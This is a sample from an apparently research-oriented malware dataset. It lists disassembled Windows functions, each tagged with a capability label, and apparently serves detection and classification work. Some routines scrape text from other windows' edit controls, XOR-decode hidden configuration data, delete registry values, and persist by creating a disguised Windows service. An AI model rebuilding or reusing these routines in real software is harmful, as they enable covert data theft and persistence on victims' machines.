joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100058b0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x3c]
test eax, eax
jne 0x100058d1
push 0
push 0
push esi
push 0x10004590
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x3c], eax
pop esi
ret

Function at 0x100058e0
Capabilities:
Check for foreground window switch
Get graphical window text

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x408
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetWindow]
push 5
push eax
call edi
mov esi, eax
test esi, esi
je 0x10005a75
push ebx
mov ebx, dword [sym.imp.USER32.dll_SendMessageW]
push ebp
mov ebp, dword [sym.imp.USER32.dll_PostMessageW]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0xfffffffffffffff0
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
test al, 0x20
je 0x10005a5b
push 3
push 3
push esi
call edi
push eax
call edi
mov dword [esp + 0x14], eax
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x218]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x218]
push 0x200
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClassNameW]
lea edx, [esp + 0x218]
push str.Edit
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x10005a55
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp eax, dword [esp + 0x10]
jne 0x10005a55
xor eax, eax
mov ecx, 0x80
push eax
lea edi, [esp + 0x1c]
push eax
push 0xd2
rep stosd dword es:[edi], eax
push esi
call ebx
push 0
push 0
push 0xcc
push esi
mov edi, eax
call ebp
push 0
push 0
push 0xd2
push esi
call ebx
test eax, eax
je 0x100059d4
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0xd2
push esi
call ebx
test eax, eax
jne 0x100059bc
lea eax, [esp + 0x18]
push eax
push 0x200
push 0xd
push esi
call ebx
push 0
push edi
push 0xcc
push esi
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [esp + 0x18]
push ecx
call edi
test eax, eax
je 0x10005a0f
lea edx, [esp + 0x18]
push edx
push 0x100097a8
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
push 0x200
push 0xd
push ecx
call ebx
lea edx, [esp + 0x18]
push edx
call edi
test eax, eax
je 0x10005a3d
lea eax, [esp + 0x18]
push eax
push 0x100099a8
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp eax, dword [esp + 0x10]
je 0x10005987
mov edi, dword [sym.imp.USER32.dll_GetWindow]
push esi
call fcn.100058e0
add esp, 4
push 2
push esi
call edi
mov esi, eax
test esi, esi
jne 0x1000590f
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x408
ret
Function at 0x10005b70
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 8
push ebp
push 0
push 0
push 3
mov dword [esp + 0x14], ecx
push 0
push 1
add ecx, 0x44
push connect
push ecx
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x10005c03
push esi
push edi
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
add esp, 4
test edi, edi
je 0x10005bfa
lea eax, [esp + 0xc]
push 0
push eax
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 0xf6603d99
mul esi
shr edx, 9
je 0x10005bf1
push ebx
mov esi, edi
mov ebx, edx
mov ecx, dword [esp + 0x14]
push esi
call fcn.10004c60
add esi, 0x214
dec ebx
jne 0x10005bdd
pop ebx
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 8
ret

Function at 0x10005c10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov ecx, dword [esp + 4]
mov eax, dword [esp + 8]
push esi
push edi
and ecx, 0xffff
push eax
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x10005c35
pop edi
xor al, al
pop esi
ret
push edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x10005c49
pop edi
xor al, al
pop esi
ret
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0x258
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, 0x96
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov edx, dword [0x10009368]
add esp, 4
xor esi, esi
mov cl, byte [esi + eax]
test cl, cl
je 0x10005ca1
mov edi, ecx
and edi, 0xff
cmp edi, edx
je 0x10005ca1
cmp edi, dword [0x1000936c]
je 0x10005ca1
xor cl, dl
mov byte [esi + eax], cl
mov dl, byte [0x1000936c]
xor cl, dl
mov byte [esi + eax], cl
mov edx, dword [0x10009368]
inc esi
cmp esi, 0x258
jb 0x10005c70
mov edi, dword [esp + 0x14]
mov ecx, 0x96
mov esi, eax
push eax
rep movsd dword es:[edi], dword [esi]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
pop edi
pop esi
ret
Function at 0x10005cd0
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
sub esp, 0x420
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x22]
mov word [esp + 0x20], bp
mov word [esp + 0x228], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x22a]
push str.idevice
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x22c]
mov dword [esp + 0x1c], 1
push eax
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.IsWow64Process
push str.kernel32
mov dword [esp + 0x24], ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebp
je 0x10005d58
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 0x1c], ebp
je 0x10005d6a
lea edx, [esp + 0x10]
push edx
push 0xf013f
jmp 0x10005d74
lea eax, [esp + 0x10]
push eax
push 0xf003f
push ebp
push 0x100096ac
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebp
jne 0x10005eba
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push ebp
push edx
lea eax, [esp + 0x234]
push ebp
push eax
push ecx
call esi
test eax, eax
jne 0x10005eaf
lea edx, [esp + 0x14]
lea eax, [esp + 0x20]
push edx
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x18]
push ecx
lea edx, [esp + 0x234]
push ebp
push edx
push eax
call esi
lea ecx, [esp + 0x20]
push 0x100096a8
push ecx
call dword [sym.imp.MSVCRT.dll_wcsstr]
mov ebx, eax
add esp, 8
cmp ebx, ebp
je 0x10005eaf
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, 8
xor eax, eax
mov edi, str.AAAAAAAAA
rep stosd dword es:[edi], eax
push ebx
call ebp
lea edx, [esp + 0x20]
mov esi, eax
push edx
call ebp
sub eax, esi
je 0x10005e2a
mov ecx, eax
lea esi, [esp + 0x20]
mov edi, str.AAAAAAAAA
shr ecx, 1
rep movsd dword es:[edi], dword [esi]
adc ecx, ecx
rep movsw word es:[edi], word [esi]
add ebx, 2
push 0x100096a8
push ebx
call dword [sym.imp.MSVCRT.dll_wcsstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x10005eaf
mov ecx, 0x19
xor eax, eax
mov edi, str.1.1.1.1
push esi
rep stosd dword es:[edi], eax
call ebp
push ebx
mov edi, eax
call ebp
sub eax, edi
mov ecx, ebx
je 0x10005e72
mov edx, str.1.1.1.1
sub edx, ebx
mov di, word [ecx]
mov word [edx + ecx], di
add ecx, 2
dec eax
jne 0x10005e65
add esi, 2
push esi
call dword [sym.imp.MSVCRT.dll__wtoi]
mov ecx, dword [esp + 0x14]
add esp, 4
mov dword [0x1000948c], eax
lea eax, [esp + 0x228]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x420
ret
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x420
ret
Function at 0x10005ed0
Capabilities:
Get common file path
Query environment variable
Read file on windows

Disassembly:
sub esp, 0x61c
push ebp
push esi
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x422]
mov word [esp + 0x420], 0
mov word [esp + 0x218], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x21a]
mov word [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x12]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x424]
push eax
push str.APPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea ecx, [esp + 0x10]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
lea edx, [esp + 0x10]
push 0x10009370
push edx
lea eax, [esp + 0x18]
push str._s_s
push eax
call ebp
add esp, 0x10
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [esp + 0x10]
push 0
push 0x80
push 3
push 0
push 0
push connect
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x10005fb5
lea edx, [esp + 0x420]
push 0x10009370
push edx
lea eax, [esp + 0x220]
push str._s_s
push eax
call ebp
add esp, 0x10
jmp 0x10005fc8
lea ecx, [esp + 0x10]
lea edx, [esp + 0x218]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 3
push 0
push 0
lea eax, [esp + 0x22c]
push connect
push eax
call edi
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10005ffe
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x61c
ret
mov esi, dword [esp + 0x62c]
lea ecx, [esp + 0xc]
push 0
push ecx
push 0x258
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [0x10009368]
xor ecx, ecx
mov al, byte [ecx + esi]
test al, al
je 0x1000604d
movsx edi, al
cmp edi, edx
je 0x1000604d
cmp edi, dword [0x1000936c]
je 0x1000604d
xor al, dl
mov byte [ecx + esi], al
mov dl, byte [0x1000936c]
xor al, dl
mov byte [ecx + esi], al
mov edx, dword [0x10009368]
inc ecx
cmp ecx, 0x258
jb 0x10006021
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x61c
ret
Function at 0x10006070
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
push esi
push str.IsWow64Process
push str.kernel32
mov dword [esp + 0x18], 3
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x100060b7
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov eax, dword [esp + 0xc]
test eax, eax
je 0x100060d7
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 8]
push ecx
push 0xf013f
push 0
push 0x100096ac
push edx
jmp 0x100060ed
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push 0x100096ac
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100061ea
mov ecx, dword [esp + 8]
lea edx, [esp + 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edx
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0x10009384
push ecx
call esi
test eax, eax
jne 0x100061df
mov edx, dword [esp + 4]
push ebp
push edi
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esp + 0x10]
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov edx, dword [esp + 0x10]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x1c]
push ebp
push ecx
push 0
push 0x10009384
push edx
call esi
mov edi, dword [esp + 0xc]
xor edx, edx
test edi, edi
jbe 0x100061ac
mov ecx, dword [0x10009368]
mov al, byte [edx + ebp]
test al, al
je 0x100061a7
mov esi, eax
and esi, 0xff
cmp esi, ecx
je 0x100061a7
cmp esi, dword [0x1000936c]
je 0x100061a7
xor al, cl
mov byte [edx + ebp], al
mov cl, byte [0x1000936c]
xor al, cl
mov byte [edx + ebp], al
mov edi, dword [esp + 0xc]
mov ecx, dword [0x10009368]
inc edx
cmp edx, edi
jb 0x10006172
mov ecx, edi
mov edi, dword [esp + 0x20]
mov eax, ecx
mov esi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esp + 0x14]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebp
mov al, 1
pop esi
add esp, 0x10
ret
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
pop esi
add esp, 0x10
ret

Function at 0x10006840
Capabilities:
Create thread

Disassembly:
cmp dword [esp + 8], 1
jne 0x10006895
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10006700
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10006690
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10006200
push 0
push 0
call esi
push 0xffffffffffffffff
push eax
mov dword [0x10009bb4], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
pop esi
ret 0xc
xor eax, eax
ret 0xc
Function at 0x10006cd0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
push ebx
mov bl, 1
push ebp
push esi
push edi
test bl, cl
mov ebp, ecx
je 0x10006ce5
and ebp, 0xfffffffe
xor bl, bl
test ebp, ebp
je 0x10006e15
cmp ebp, 0xffffffff
je 0x10006e15
cmp word [ebp], 0x5a4d
jne 0x10006e15
mov eax, dword [ebp + 0x3c]
add eax, ebp
cmp dword [eax], 0x4550
jne 0x10006e15
test eax, eax
je 0x10006e15
mov dx, word [eax + 0x18]
cmp dx, 0x10b
jne 0x10006dad
mov edx, dword [eax + 0x74]
test edx, edx
ja 0x10006d3a
xor eax, eax
mov esi, eax
jmp 0x10006e17
mov esi, dword [eax + 0x78]
test esi, esi
jne 0x10006d4a
xor eax, eax
mov esi, eax
jmp 0x10006e17
test bl, bl
jne 0x10006da6
cmp esi, dword [eax + 0x54]
jb 0x10006da6
xor ecx, ecx
xor edx, edx
mov cx, word [eax + 0x14]
mov dx, word [eax + 6]
xor edi, edi
test edx, edx
lea ecx, [ecx + eax + 0x18]
jbe 0x10006d81
mov eax, dword [ecx + 0xc]
cmp esi, eax
jb 0x10006d79
mov ebx, dword [ecx + 0x10]
add ebx, eax
cmp esi, ebx
jb 0x10006d8e
add ecx, 0x28
inc edi
cmp edi, edx
jb 0x10006d69
mov ecx, dword [esp + 0x14]
xor eax, eax
mov esi, eax
jmp 0x10006e17
test ecx, ecx
je 0x10006d81
mov eax, dword [ecx + 0x14]
mov edi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x14]
sub eax, edi
add eax, esi
add eax, ebp
mov esi, eax
jmp 0x10006e17
lea eax, [esi + ebp]
mov esi, eax
jmp 0x10006e17
cmp dx, 0x20b
jne 0x10006e15
mov edx, dword [eax + 0x84]
test edx, edx
ja 0x10006dc4
xor eax, eax
mov esi, eax
jmp 0x10006e17
mov esi, dword [eax + 0x88]
test esi, esi
jne 0x10006dd4
xor eax, eax
mov esi, eax
jmp 0x10006e17
test bl, bl
jne 0x10006da6
cmp esi, dword [eax + 0x54]
jb 0x10006da6
xor edx, edx
xor edi, edi
mov dx, word [eax + 0x14]
lea ecx, [edx + eax + 0x18]
xor edx, edx
mov dx, word [eax + 6]
test edx, edx
jbe 0x10006d81
mov eax, dword [ecx + 0xc]
cmp esi, eax
jb 0x10006e03
mov ebx, dword [ecx + 0x10]
add ebx, eax
cmp esi, ebx
jb 0x10006d8e
add ecx, 0x28
inc edi
cmp edi, edx
jb 0x10006df3
mov ecx, dword [esp + 0x14]
xor eax, eax
mov esi, eax
jmp 0x10006e17
xor esi, esi
test ecx, ecx
jne 0x10006e22
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [esi + 0x20]
mov ebx, dword [esi + 0x24]
mov edx, dword [esi + 0x18]
add eax, ecx
add ebx, ecx
xor edi, edi
test edx, edx
jbe 0x10006e64
mov ebp, eax
jmp 0x10006e3d
mov ecx, dword [esp + 0x14]
mov eax, dword [ebp]
add eax, ecx
mov ecx, dword [esp + 0x18]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x10006e60
mov eax, dword [esi + 0x18]
inc edi
add ebp, 4
cmp edi, eax
jb 0x10006e39
mov ecx, dword [esp + 0x14]
mov di, word [ebx + edi*2]
mov eax, dword [esi + 0x14]
and edi, 0xffff
cmp edi, eax
jb 0x10006e7c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x10006e91
mov edx, dword [esi + 0x1c]
lea edx, [edx + edi*4]
mov edx, dword [edx + ecx]
add edx, ecx
mov dword [eax], edx
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x401170
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x417168]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x419288], 0
jne 0x4011a7
push 0x41926c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push ecx
call fcn.00401260
mov eax, dword [0x419294]
mov dword [0x419288], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push str.Kernel32.dll
mov ebx, eax
xor edi, edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4011e1
push str.GetThreadId
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4011da
push ebx
call eax
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
lea eax, [ebp - 0x804]
push str.__04x_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov esi, eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x804]
lea ecx, [ecx + esi*2]
push ecx
call fcn.00402d24
add esp, 0x18
add esi, eax
cmp byte [0x419284], 0
je 0x401238
lea edx, [ebp - 0x804]
mov ecx, esi
call fcn.00401090
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402649
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402649
mov esp, ebp
pop ebp
ret
Function at 0x40b6b2
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417168]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00409663
mov dword [ebp - 0x14], eax
cmp dword [0x419200], edi
jne 0x40b7a3
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40b730
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40b883
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40b883
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40b883
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x419200], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x419204], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x419208], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x419210], eax
test eax, eax
je 0x40b7a0
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41920c], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40b7c8
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40b7bb
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40b7dd
push 4
pop eax
jmp 0x40b885
cmp dword [ebp - 0x14], edi
je 0x40b7dd
push dword [0x419200]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40b7c2
mov eax, dword [0x41920c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40b83b
cmp dword [0x419210], esi
je 0x40b83b
push eax
call ebx
push dword [0x419210]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40b83b
test eax, eax
je 0x40b83b
call ecx
test eax, eax
je 0x40b830
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40b830
test byte [ebp - 8], 1
jne 0x40b83b
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40b86b
mov eax, dword [0x419204]
cmp eax, esi
je 0x40b868
push eax
call ebx
test eax, eax
je 0x40b868
call eax
mov edi, eax
test edi, edi
je 0x40b868
mov eax, dword [0x419208]
cmp eax, esi
je 0x40b868
push eax
call ebx
test eax, eax
je 0x40b868
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x419200]
call ebx
test eax, eax
je 0x40b883
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40b885
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402649
leave
ret
Function at 0x1000ba30
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x10018c40], eax
jne 0x1000ba4b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Njhih__Qigjzcmv_S_wjgcvq_C
push str.Fqdnff_AgosleeM
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x10018c3c], eax
jne 0x1000ba84
pop ecx
ret
mov edx, dword [0x10018c40]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x10018c3c]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.iiiqm_Fenosgc__Judm_si_Vljperrd_Uha
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000bac0
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.Fqdnff_AgosleeM
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret